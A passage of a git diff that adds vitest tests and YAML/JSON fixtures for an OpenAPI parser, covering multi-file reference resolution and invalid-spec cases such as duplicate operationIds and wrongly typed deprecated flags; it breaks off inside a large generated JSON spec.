+  })
+
+  it('validates filesytem', async () => {
+    const filesystem = loadFiles(EXAMPLE_FILE)
+
+    const result = await validate(filesystem)
+
+    expect(result.errors).toBe(undefined)
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+
+  it('resolves filesytem', async () => {
+    const filesystem = loadFiles(EXAMPLE_FILE)
+
+    const result = await resolve(filesystem)
+
+    expect(result.valid).toBe(true)
+
+    expect(result.errors).toBe(undefined)
+    expect(result.version).toBe('3.0')
+    // TODO: Resolve the *path* from the given file
+    // console.log('RESULT', result.schema.components.schemas.Upload)
+    // @ts-ignore
+    expect(result.schema.components.schemas.Upload.allOf[0].title).toBe(
+      'Coordinates',
+    )
+  })
+})
diff --git a/packages/openapi-parser/tests/filesystem/api/openapi.yaml b/packages/openapi-parser/tests/filesystem/api/openapi.yaml
new file mode 100644
index 0000000..de1f7e8
--- /dev/null
+++ b/packages/openapi-parser/tests/filesystem/api/openapi.yaml
@@ -0,0 +1,29 @@
+openapi: 3.0.3
+info:
+  title: Hello World
+  version: 2.0.0
+paths:
+
+  '/upload':
+    post:
+      description: 'Internal endpoint for iOS app only, to upload a unit from the field.'
+      requestBody:
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/Upload'
+      responses:
+        '201':
+          description: Created
+        '401':
+          description: Unauthorized
+          content:
+            application/problem+json:
+              schema:
+                $ref: '#/components/schemas/Generic_Problem'
+components:
+  schemas:
+    Generic_Problem:
+      $ref: schemas/problem.yaml
+    Upload:
+      $ref: schemas/upload.yaml#/components/schemas/Upload
diff --git a/packages/openapi-parser/tests/filesystem/api/schemas/components/coordinates.yaml b/packages/openapi-parser/tests/filesystem/api/schemas/components/coordinates.yaml
new file mode 100644
index 0000000..548d93a
--- /dev/null
+++ b/packages/openapi-parser/tests/filesystem/api/schemas/components/coordinates.yaml
@@ -0,0 +1,14 @@
+title: Coordinates
+type: object
+required:
+  - latitude
+  - longitude
+properties:
+  latitude:
+    type: number
+    format: double
+    example: 51.87351
+  longitude:
+    type: number
+    format: double
+    example: -1.90973
diff --git a/packages/openapi-parser/tests/filesystem/api/schemas/problem.yaml b/packages/openapi-parser/tests/filesystem/api/schemas/problem.yaml
new file mode 100644
index 0000000..0753caa
--- /dev/null
+++ b/packages/openapi-parser/tests/filesystem/api/schemas/problem.yaml
@@ -0,0 +1,27 @@
+title: Problem
+type: object
+description: IETF RFC 8707 compliant problem details.
+properties:
+  type:
+    type: string
+    readOnly: true
+    example: https://protect.earth/probs/something-went-wrong
+  title:
+    type: string
+    readOnly: true
+    example: You do not have enough credit.
+  status:
+    type: integer
+    readOnly: true
+    example: 400
+  detail:
+    type: string
+    readOnly: true
+    example: Your current balance is 30, but that costs 50.
+  instance:
+    type: string
+    readOnly: true
+    example: /account/12345/msgs/abc
+required:
+  - type
+  - title
diff --git a/packages/openapi-parser/tests/filesystem/api/schemas/upload.yaml b/packages/openapi-parser/tests/filesystem/api/schemas/upload.yaml
new file mode 100644
index 0000000..452e5f7
--- /dev/null
+++ b/packages/openapi-parser/tests/filesystem/api/schemas/upload.yaml
@@ -0,0 +1,19 @@
+components:
+  schemas:
+    Upload:
+      title: Upload
+
+      allOf:
+        - $ref: './components/coordinates.yaml'
+        - type: object
+          description: 'Internal endpoint for iOS app only, to upload a unit from the field.'
+
+          required:
+            - image_url
+
+          properties:
+
+            image_url:
+              description: Uploaded image that the API will read from and download.
+              type: string
+              format: url
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/OAI/OAI.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/OAI/OAI.test.ts
new file mode 100644
index 0000000..159be8a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/OAI/OAI.test.ts
@@ -0,0 +1,15 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../../src'
+import apiWithExamples from './api-with-examples.yaml'
+
+// TODO: The example is in the `fail` folder, but I don’t know why it’s supposed to fail.
+// I think the YAML is just wrong ("YAMLException: deficient indentation"), but we can’t test this with an import.
+describe.todo('OAI', () => {
+  it('apiWithExamples', async () => {
+    const result = await resolve(apiWithExamples)
+
+    expect(result.errors?.[0]?.error).toBe(`something went wrong`)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/OAI/api-with-examples.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/OAI/api-with-examples.yaml
new file mode 100644
index 0000000..09003b6
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/OAI/api-with-examples.yaml
@@ -0,0 +1,167 @@
+openapi: "3.0.0"
+info:
+  title: Simple API overview
+  version: 2.0.0
+paths:
+  /:
+    get:
+      operationId: listVersionsv2
+      summary: List API versions
+      responses:
+        '200':
+          description: |-
+            200 response
+          content:
+            application/json:
+              examples: 
+                foo:
+                  value: {
+                    "versions": [
+                        {
+                            "status": "CURRENT",
+                            "updated": "2011-01-21T11:33:21Z",
+                            "id": "v2.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v2/",
+                                    "rel": "self"
+                                }
+                            ]
+                        },
+                        {
+                            "status": "EXPERIMENTAL",
+                            "updated": "2013-07-23T11:33:21Z",
+                            "id": "v3.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v3/",
+                                    "rel": "self"
+                                }
+                            ]
+                        }
+                    ]
+                 }
+        '300':
+          description: |-
+            300 response
+          content:
+            application/json: 
+              examples: 
+                foo:
+                  value: |
+                   {
+                    "versions": [
+                          {
+                            "status": "CURRENT",
+                            "updated": "2011-01-21T11:33:21Z",
+                            "id": "v2.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v2/",
+                                    "rel": "self"
+                                }
+                            ]
+                        },
+                        {
+                            "status": "EXPERIMENTAL",
+                            "updated": "2013-07-23T11:33:21Z",
+                            "id": "v3.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v3/",
+                                    "rel": "self"
+                                }
+                            ]
+                        }
+                    ]
+                   }
+  /v2:
+    get:
+      operationId: getVersionDetailsv2
+      summary: Show API version details
+      responses:
+        '200':
+          description: |-
+            200 response
+          content:
+            application/json: 
+              examples:
+                foo:
+                  value: {
+                    "version": {
+                      "status": "CURRENT",
+                      "updated": "2011-01-21T11:33:21Z",
+                      "media-types": [
+                          {
+                              "base": "application/xml",
+                              "type": "application/vnd.openstack.compute+xml;version=2"
+                          },
+                          {
+                              "base": "application/json",
+                              "type": "application/vnd.openstack.compute+json;version=2"
+                          }
+                      ],
+                      "id": "v2.0",
+                      "links": [
+                          {
+                              "href": "http://127.0.0.1:8774/v2/",
+                              "rel": "self"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/os-compute-devguide-2.pdf",
+                              "type": "application/pdf",
+                              "rel": "describedby"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                              "type": "application/vnd.sun.wadl+xml",
+                              "rel": "describedby"
+                          },
+                          {
+                            "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                            "type": "application/vnd.sun.wadl+xml",
+                            "rel": "describedby"
+                          }
+                      ]
+                    }
+                  }
+        '203':
+          description: |-
+            203 response
+          content:
+            application/json: 
+              examples:
+                foo:
+                  value: {
+                    "version": {
+                      "status": "CURRENT",
+                      "updated": "2011-01-21T11:33:21Z",
+                      "media-types": [
+                          {
+                              "base": "application/xml",
+                              "type": "application/vnd.openstack.compute+xml;version=2"
+                          },
+                          {
+                              "base": "application/json",
+                              "type": "application/vnd.openstack.compute+json;version=2"
+                          }
+                      ],
+                      "id": "v2.0",
+                      "links": [
+                          {
+                              "href": "http://23.253.228.211:8774/v2/",
+                              "rel": "self"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/os-compute-devguide-2.pdf",
+                              "type": "application/pdf",
+                              "rel": "describedby"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                              "type": "application/vnd.sun.wadl+xml",
+                              "rel": "describedby"
+                          }
+                      ]
+                    }
+                  }
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/api-with-examples.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/api-with-examples.test.ts
new file mode 100644
index 0000000..35207c8
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/api-with-examples.test.ts
@@ -0,0 +1,21 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import apiWithExamples from './api-with-examples.yaml'
+
+describe.todo('api-with-examples', () => {
+  it('returns an error', async () => {
+    const result = await resolve(apiWithExamples)
+
+    // TODO: Swagger Editor:
+    //
+    // Structural error at paths./.get.responses.200.content.application/json.examples
+    // should be object
+    // …
+    expect(result.errors?.[0]?.error).toBe(
+      ` must have required property '$ref'`,
+    )
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/api-with-examples.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/api-with-examples.yaml
new file mode 100644
index 0000000..540e65c
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/api-with-examples.yaml
@@ -0,0 +1,163 @@
+openapi: "3.0.0"
+info:
+  title: Simple API overview
+  version: v2
+paths:
+  /:
+    get:
+      operationId: listVersionsv2
+      summary: List API versions
+      responses:
+        200:
+          description: |-
+            200 response
+          content:
+            application/json:
+              examples: 
+                - {
+                    "versions": [
+                        {
+                            "status": "CURRENT",
+                            "updated": "2011-01-21T11:33:21Z",
+                            "id": "v2.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v2/",
+                                    "rel": "self"
+                                }
+                            ]
+                        },
+                        {
+                            "status": "EXPERIMENTAL",
+                            "updated": "2013-07-23T11:33:21Z",
+                            "id": "v3.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v3/",
+                                    "rel": "self"
+                                }
+                            ]
+                        }
+                    ]
+                 }
+        300:
+          description: |-
+            300 response
+          content:
+            application/json: 
+              examples: 
+                - |
+                 {
+                    "versions": [
+                        {
+                            "status": "CURRENT",
+                            "updated": "2011-01-21T11:33:21Z",
+                            "id": "v2.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v2/",
+                                    "rel": "self"
+                                }
+                            ]
+                        },
+                        {
+                            "status": "EXPERIMENTAL",
+                            "updated": "2013-07-23T11:33:21Z",
+                            "id": "v3.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v3/",
+                                    "rel": "self"
+                                }
+                            ]
+                        }
+                    ]
+                 }
+  /v2:
+    get:
+      operationId: getVersionDetailsv2
+      summary: Show API version details
+      responses:
+        200:
+          description: |-
+            200 response
+          content:
+            application/json: 
+              examples:
+                - {
+                    "version": {
+                      "status": "CURRENT",
+                      "updated": "2011-01-21T11:33:21Z",
+                      "media-types": [
+                          {
+                              "base": "application/xml",
+                              "type": "application/vnd.openstack.compute+xml;version=2"
+                          },
+                          {
+                              "base": "application/json",
+                              "type": "application/vnd.openstack.compute+json;version=2"
+                          }
+                      ],
+                      "id": "v2.0",
+                      "links": [
+                          {
+                              "href": "http://127.0.0.1:8774/v2/",
+                              "rel": "self"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/os-compute-devguide-2.pdf",
+                              "type": "application/pdf",
+                              "rel": "describedby"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                              "type": "application/vnd.sun.wadl+xml",
+                              "rel": "describedby"
+                          },
+                          {
+                            "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                            "type": "application/vnd.sun.wadl+xml",
+                            "rel": "describedby"
+                          }
+                      ]
+                    }
+                  }
+        203:
+          description: |-
+            203 response
+          content:
+            application/json: 
+              examples:
+                - {
+                    "version": {
+                      "status": "CURRENT",
+                      "updated": "2011-01-21T11:33:21Z",
+                      "media-types": [
+                          {
+                              "base": "application/xml",
+                              "type": "application/vnd.openstack.compute+xml;version=2"
+                          },
+                          {
+                              "base": "application/json",
+                              "type": "application/vnd.openstack.compute+json;version=2"
+                          }
+                      ],
+                      "id": "v2.0",
+                      "links": [
+                          {
+                              "href": "http://23.253.228.211:8774/v2/",
+                              "rel": "self"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/os-compute-devguide-2.pdf",
+                              "type": "application/pdf",
+                              "rel": "describedby"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                              "type": "application/vnd.sun.wadl+xml",
+                              "rel": "describedby"
+                          }
+                      ]
+                    }
+                  }
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/comp_pathitems.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/comp_pathitems.test.ts
new file mode 100644
index 0000000..cc8b0e7
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/comp_pathitems.test.ts
@@ -0,0 +1,17 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import comp_pathitems from './comp_pathitems.yaml'
+
+describe('comp_pathitems', () => {
+  it('returns an error', async () => {
+    const result = await resolve(comp_pathitems)
+
+    // TODO: Should probably complain about the pathItems?
+    expect(result.errors?.[0]?.error).toBe(
+      `must have required property 'paths'`,
+    )
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/comp_pathitems.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/comp_pathitems.yaml
new file mode 100644
index 0000000..6ee3721
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/comp_pathitems.yaml
@@ -0,0 +1,6 @@
+openapi: 3.0.0
+info:
+  title: API
+  version: 1.0.0
+components:
+  pathItems: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated.test.ts
new file mode 100644
index 0000000..3187060
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated.test.ts
@@ -0,0 +1,14 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import deprecated from './deprecated.yaml'
+
+describe('deprecated', () => {
+  it('returns an error', async () => {
+    const result = await resolve(deprecated)
+
+    expect(result.errors?.[0]?.error).toBe(`: type must be boolean`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated.yaml
new file mode 100644
index 0000000..f693ad4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.1
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /:
+    get:
+      deprecated: 'true'
+      parameters:
+        - name: test
+          in: query
+          deprecated: true
+          schema:
+            type: string
+            deprecated: true
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated2.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated2.test.ts
new file mode 100644
index 0000000..acb62cd
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated2.test.ts
@@ -0,0 +1,14 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import deprecated2 from './deprecated2.yaml'
+
+describe.todo('deprecated2', () => {
+  it('returns an error', async () => {
+    const result = await resolve(deprecated2)
+
+    expect(result.errors?.[0]?.error).toBe(`something something deprecated`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated2.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated2.yaml
new file mode 100644
index 0000000..66ddaa6
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated2.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.1
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /:
+    get:
+      deprecated: true
+      parameters:
+        - name: test
+          in: query
+          deprecated: 'true'
+          schema:
+            type: string
+            deprecated: true
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated3.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated3.test.ts
new file mode 100644
index 0000000..68609ea
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated3.test.ts
@@ -0,0 +1,14 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import deprecated3 from './deprecated3.yaml'
+
+describe.todo('deprecated3', () => {
+  it('returns an error', async () => {
+    const result = await resolve(deprecated3)
+
+    expect(result.errors?.[0]?.error).toBe(`something something deprecated`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated3.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated3.yaml
new file mode 100644
index 0000000..e00dc8a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/deprecated3.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.1
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /:
+    get:
+      deprecated: true
+      parameters:
+        - name: test
+          in: query
+          deprecated: true
+          schema:
+            type: string
+            deprecated: 'true'
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateOperationId.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateOperationId.test.ts
new file mode 100644
index 0000000..e6d43ba
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateOperationId.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import duplicateOperationId from './duplicateOperationId.yaml'
+
+describe.todo('duplicateOperationId', () => {
+  it('returns an error', async () => {
+    const result = await resolve(duplicateOperationId)
+
+    expect(result.errors?.[0]?.error).toBe(
+      `something something duplicate operationId`,
+    )
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateOperationId.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateOperationId.yaml
new file mode 100644
index 0000000..02662a7
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateOperationId.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.0
+info:
+  title: Test invalid duplicate operationId
+  version: 1.0.0
+
+paths:
+  '/test':
+    get:
+      operationId: same
+      responses:
+        '200':
+          description: OK
+  '/test2':
+    post:
+      operationId: same
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateParameter.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateParameter.test.ts
new file mode 100644
index 0000000..9320c35
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateParameter.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import duplicateParameter from './duplicateParameter.yaml'
+
+describe.todo('duplicateParameter', () => {
+  it('returns an error', async () => {
+    const result = await resolve(duplicateParameter)
+
+    expect(result.errors?.[0]?.error).toBe(
+      `something something duplicate parameter`,
+    )
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateParameter.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateParameter.yaml
new file mode 100644
index 0000000..7dc4470
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateParameter.yaml
@@ -0,0 +1,21 @@
+openapi: 3.0.0
+info:
+  title: Test invalid duplicate parameter
+  version: 1.0.0
+
+paths:
+  '/test':
+    get:
+      operationId: same
+      parameters:
+      - name: test
+        in: query
+        schema:
+          type: string
+      - name: test
+        in: query
+        schema:
+          type: integer
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateRequired.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateRequired.test.ts
new file mode 100644
index 0000000..9d4fce7
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateRequired.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import duplicateRequired from './duplicateRequired.yaml'
+
+describe.todo('duplicateRequired', () => {
+  it('returns an error', async () => {
+    const result = await resolve(duplicateRequired)
+
+    expect(result.errors?.[0]?.error).toBe(
+      `something something duplicate required properties`,
+    )
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateRequired.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateRequired.yaml
new file mode 100644
index 0000000..ce51b6e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/duplicateRequired.yaml
@@ -0,0 +1,14 @@
+openapi: 3.0.0
+info:
+  title: Duplicate required
+  version: 1.0.0
+paths: {}
+components:
+  schemas:
+    test:
+      properties:
+        first:
+          type: string
+      required:
+      - first
+      - first
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/event-backend.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/event-backend.test.ts
new file mode 100644
index 0000000..335b915
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/event-backend.test.ts
@@ -0,0 +1,32 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../../src'
+import openapi1 from './openapi1.json'
+import openapi2 from './openapi2.json'
+import openapi3 from './openapi3.json'
+
+describe('event-backend', () => {
+  it('openapi1', async () => {
+    const result = await resolve(openapi1)
+
+    // TODO: What does that mean?
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.valid).toBe(false)
+  })
+
+  it('openapi2', async () => {
+    const result = await resolve(openapi2)
+
+    // TODO: What does that mean?
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.valid).toBe(false)
+  })
+
+  it('openapi3', async () => {
+    const result = await resolve(openapi3)
+
+    // TODO: What does that mean?
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi1.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi1.json
new file mode 100644
index 0000000..83cab9b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi1.json
@@ -0,0 +1,3104 @@
+{
+    "openapi": "3.0.0",
+    "info": {
+        "title": "api",
+        "description": "Baucis generated OpenAPI v.3 documentation.",
+        "version": "0.0.1"
+    },
+    "servers": [
+        {
+            "url": "/api"
+        }
+    ],
+    "tags": [
+        {
+            "name": "_config",
+            "description": "_config resource.",
+            "x-resource": true
+        },
+        {
+            "name": "_webhooks",
+            "description": "_webhooks resource.",
+            "x-resource": true
+        },
+        {
+            "name": "_users",
+            "description": "_users resource.",
+            "x-resource": true
+        },
+        {
+            "name": "_providers",
+            "description": "_providers resource.",
+            "x-resource": true
+        },
+        {
+            "name": "_permissions",
+            "description": "_permissions resource.",
+            "x-resource": true
+        },
+        {
+            "name": "place",
+            "description": "Place resource.",
+            "x-resource": true
+        },
+        {
+            "name": "sessionTalk",
+            "description": "SessionTalk resource.",
+            "x-resource": true
+        },
+        {
+            "name": "speaker",
+            "description": "Speaker resource.",
+            "x-resource": true
+        },
+        {
+            "name": "sponsor",
+            "description": "Sponsor resource.",
+            "x-resource": true
+        }
+    ],
+    "paths": {
+        "/admin-config/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_config"
+                        }
+                    },
+                    "404": {
+                        "description": "No _config was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_configById",
+                "summary": "Get a _config by its unique ID",
+                "description": "Retrieve a _config by its ID.",
+                "tags": [
+                    "_config"
+                ]
+            },
+            "put": {
+                "parameters": [
+					{
+						"in": "body",
+						"name": "body",
+						"schema": {
+                            "$ref": "#/components/schemas/_config"
+						}
+					},
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_config"
+                        }
+                    },
+                    "404": {
+                        "description": "No _config was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "update_config",
+                "summary": "Modify a _config by its unique ID",
+                "description": "Update an existing _config by its ID.",
+                "tags": [
+                    "_config"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_config"
+                        }
+                    },
+                    "404": {
+                        "description": "No _config was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_configById",
+                "summary": "Delete a _config by its unique ID",
+                "description": "Deletes an existing _config by its ID.",
+                "tags": [
+                    "_config"
+                ]
+            }
+        },
+        "/admin-config": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_config"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-config matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_config",
+                "summary": "Query some admin-config",
+                "description": "Query over admin-config.",
+                "tags": [
+                    "_config"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_config"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-config matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_config",
+                "summary": "Create some admin-config",
+                "description": "Create one or more admin-config.",
+                "tags": [
+                    "_config"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_config"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-config matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
